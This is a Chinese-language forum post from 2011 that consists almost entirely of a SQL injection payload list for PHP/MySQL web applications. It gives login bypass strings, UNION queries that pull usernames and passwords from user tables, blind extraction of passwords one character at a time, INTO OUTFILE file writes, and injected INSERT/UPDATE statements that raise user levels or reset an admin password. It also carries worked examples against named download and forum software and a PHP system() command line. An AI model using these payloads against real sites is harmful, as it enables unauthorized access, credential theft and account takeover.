掌船绅士 發表於 2011-3-11 12:11:42

PHP注射一路小跑

<p>  php注射库</p> <p>  ' or 1=1</p> <p>  ' or '1=1</p> <p>  '/*</p> <p>  '%23</p> <p>  ' and password='mypass</p> <p>  id=-1 union select 1,1,1</p> <p>  id=-1 union select char(97),char(97),char(97)</p> <p>  id=1 union select 1,1,1 from members</p> <p>  id=1 union select 1,1,1 from admin</p> <p>  id=1 union select 1,1,1 from user</p> <p>  userid=1 and password=mypass</p> <p>  userid=1 and mid(password,3,1)=char(112)</p> <p>  userid=1 and mid(password,4,1)=char(97)</p> <p>  and ord(mid(password,3,1))&gt;111 (ord函数很好用,可以返回整形的)</p> <p>  ' and LENGTH(password)='6(探测密码长度)</p> <p>  ' and LEFT(password,1)='m</p> <p>  ' and LEFT(password,2)='my</p> <p>  &hellip;&hellip;&hellip;&hellip;&hellip;&hellip;&hellip;&hellip;&hellip;&hellip;依次类推</p> <p>  ' union select 1,username,password from user/*</p> <p>  ' union select 1,username,password from user/*</p> <p>  =' union select 1,username,password from user/* (可以是1或者=后直接跟)</p> <p>  99999' union select 1,username,password from user/*</p> <p>  ' into outfile 'c:/file.txt (导出文件)</p> <p>  =' or 1=1 into outfile 'c:/file.txt</p> <p>  1' union select 1,username,password from user into outfile 'c:/user.txt</p> <p>  select password FROM admins where login='John' INTO DUMPFILE '/path/to/site/file.txt'</p> <p>  id=' union select 1,username,password from user into outfile</p> <p>  id=-1 union select 1,database(),version() (灵活应用查询)</p> <p>  常用查询测试语句,</p> <p>  select * FROM table where 1=1</p> <p>  select * FROM table where 'uuu'='uuu'</p> <p>  select * FROM table where 1&lt;&gt;2</p> <p>  select * FROM table where 3&gt;2</p> <p>  select * FROM table where 2&lt;3</p> <p>  select * FROM table where 1</p> <p>  select * FROM table where 1+1</p> <p>  select * FROM table where 1--1</p> <p>  select * FROM table where ISNULL(NULL)</p> <p>  select * FROM table where ISNULL(COT(0))</p> <p>  select * FROM table where 1 IS NOT NULL</p> <p>  select * FROM table where NULL IS NULL</p> <p>  select * FROM table where 2 BETWEEN 1 AND 3</p> <p>  select * FROM table where 'b' BETWEEN 'a' AND 'c'</p> <p>  select * FROM table where 2 IN (0,1,2)</p> <p>  select * FROM table where CASE WHEN 1&gt;0 THEN 1 END</p> <p>  例如:夜猫下载系统1.0版本</p> <p>  id=1 union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1</p> <p>  union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user</p> <p>  union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1</p> <p>  id=10000 union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1 and groupid=1</p> <p>  union select 1,username,1,password,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1 (替换,寻找密码)</p> <p>  union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1 and ord(mid(password,1,1))=49 (验证第一位密码)</p> <p>  union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1 and ord(mid(password,2,1))=50 (第二位)</p> <p>  union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1 and ord(mid(password,3,1))=51</p> <p>  &hellip;&hellip;&hellip;&hellip;&hellip;&hellip;&hellip;&hellip;&hellip;&hellip;&hellip;&hellip;&hellip;&hellip;&hellip;&hellip;&hellip;&hellip;&hellip;&hellip;&hellip;&hellip;</p> <p>  例如2:灰色轨迹 变换id进行测试(meteor)</p> <p>  union%20(select%20allowsmilies,public,userid,'0000-0-0',user(),version()%20FROM%20calendar_events%20where%20eventid%20=%2013)%20order%20by%20eventdate</p> <p>  union%20(select%20allowsmilies,public,userid,'0000-0-0',pass(),version()%20FROM%20calendar_events%20where%20eventid%20=%2010)%20order%20by%20eventdate</p> <p>  构造语句:</p> <p>  select allowsmilies,public,userid,eventdate,event,subject FROM calendar_events where eventid = 1 union (select 1,1,1,1,1,1,1 from user where userid=1)</p> <p>  select allowsmilies,public,userid,eventdate,event,subject FROM calendar_events where eventid = 1 union (select 1,1,1,1,username,password from user where userid=1)</p> <p>  union%20(select%201,0,2,'1999-01-01','a',password%20FROM%20user%20where%20userid%20=%205)%20order%20by%20eventdate</p> <p>  union%20(select%201,0,12695,'1999-01-01','a',password%20FROM%20user%20where%20userid=13465)%20order%20by%20eventdate</p> <p>  union%20(select%201,0,12695,'1999-01-01','a',userid%20FROM%20user%20where%20username='sandflee')%20order%20by%20eventdate (查沙子的id)</p> <p>  (select a FROM table_name where a=10 AND B=1 ORDER BY a LIMIT 10)</p> <p>  select * FROM article where articleid='$id' union select * FROM&hellip;&hellip;(字段和数据库相同情况下,可直接提交)</p> <p>  select * FROM article where articleid='$id' union select 1,1,1,1,1,1,1 FROM&hellip;&hellip;(不同的情况下)</p> <p>  特殊技巧:在表单,搜索引擎等地方写:</p> <p>  &quot;___&quot;</p> <p>  &quot;.__ &quot;</p> <p>  &quot;%</p> <p>  %' ORDER BY articleid/*</p> <p>  %' ORDER BY articleid#</p> <p>  __' ORDER BY articleid/*</p> <p>  __' ORDER BY articleid#</p> <p>  $command = &quot;dir c:&quot;;system($command);</p> <p>  select * FROM article where articleid='$id'</p> <p>  select * FROM article where articleid=$id</p> <p>  1' and 1=2 union select * from user where userid=1/* 句中变为</p> <p>  (select * FROM article where articleid='1' and 1=2 union select * from user where userid=1/*')</p> <p>  1 and 1=2 union select * from user where userid=1</p> <p>  语句形式:建立一个库,插入:</p> <p>  create DATABASE `injection`</p> <p>  create TABLE `user` (</p> <p>  `userid` int(11) NOT NULL auto_increment,</p> <p>  `username` varchar(20) NOT NULL default '',</p> <p>  `password` varchar(20) NOT NULL default '',</p> <p>  PRIMARY KEY (`userid`)</p> <p>  ) ;</p> <p>  insert INTO `user` VALUES (1, 'swap', 'mypass');</p> <p>  插如一个注册用户:</p> <p>  insert INTO `user` (userid, username, password, homepage, userlevel) VALUES ('', '$username', '$password', '$homepage', '1');</p> <p>  &quot;insert INTO membres (login,password,nom,email,userlevel) VALUES ('$login','$pass','$nom','$email','1')&quot;;</p> <p>  insert INTO membres (login,password,nom,email,userlevel) VALUES ('','','','','3')#','1')</p> <p>  &quot;insert INTO membres SET login='$login',password='$pass',nom='$nom',email='$email'&quot;;</p> <p>  insert INTO membres SET login='',password='',nom='',userlevel='3',email=''</p> <p>  &quot;insert INTO membres VALUES ('$id','$login','$pass','$nom','$email','1')&quot;;</p> <p>  update user SET password='$password', homepage='$homepage' where id='$id'</p> <p>  update user SET password='MD5(mypass)' where username='admin'#)', homepage='$homepage' where id='$id'</p> <p>  &quot;update membres SET password='$pass',nom='$nom',email='$email' where id='$id'&quot;;</p> <p>  update membres SET password='',nom='',userlevel='3',email=' ' where id=''</p> <p>  &quot;update news SET Votes=Votes+1, score=score+$note where idnews='$id'&quot;;</p> <p>  长用函数:</p> <p>  DATABASE()</p> <p>  USER()</p> <p>  SYSTEM_USER()</p> <p>  SESSION_USER()</p> <p>  CURRENT_USER()</p> <p>  比如:</p> <p>  update article SET title=$title where articleid=1 对应函数</p> <p>  update article SET title=DATABASE() where id=1</p> <p>  #把当前数据库名更新到title字段</p> <p>  update article SET title=USER() where id=1</p> <p>  #把当前 MySQL 用户名更新到title字段</p> <p>  update article SET title=SYSTEM_USER() where id=1</p> <p>  #把当前 MySQL 用户名更新到title字段</p> <p>  update article SET title=SESSION_USER() where id=1</p> <p>  #把当前 MySQL 用户名更新到title字段</p> <p>  update article SET title=CURRENT_USER() where id=1</p> <p>  #把当前会话被验证匹配的用户名更新到title字段</p> <p>  :::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::</p> <p>  $req = &quot;select * FROM membres where name like '%$search%' ORDER BY name&quot;;</p> <p>  select * FROM membres where name like '%%' ORDER BY uid#%' ORDER BY name</p> <p>  select * FROM membres where name like '%%' ORDER BY uid#%' ORDER BY name</p> <p>  select uid FROM admins where login='' OR 'a'='a' AND password='' OR 'a'='a' (经典)</p> <p>  select uid FROM admins where login='' OR admin_level=1#' AND password=''</p> <p>  select * FROM table where msg like '%hop'</p> <p>  select uid FROM membres where login='Bob' AND password like 'a%'#' AND password=''</p> <p>  select * FROM membres where name like '%%' ORDER BY uid#%' ORDER BY name</p>
頁: [1]
查看完整版本: PHP注射一路小跑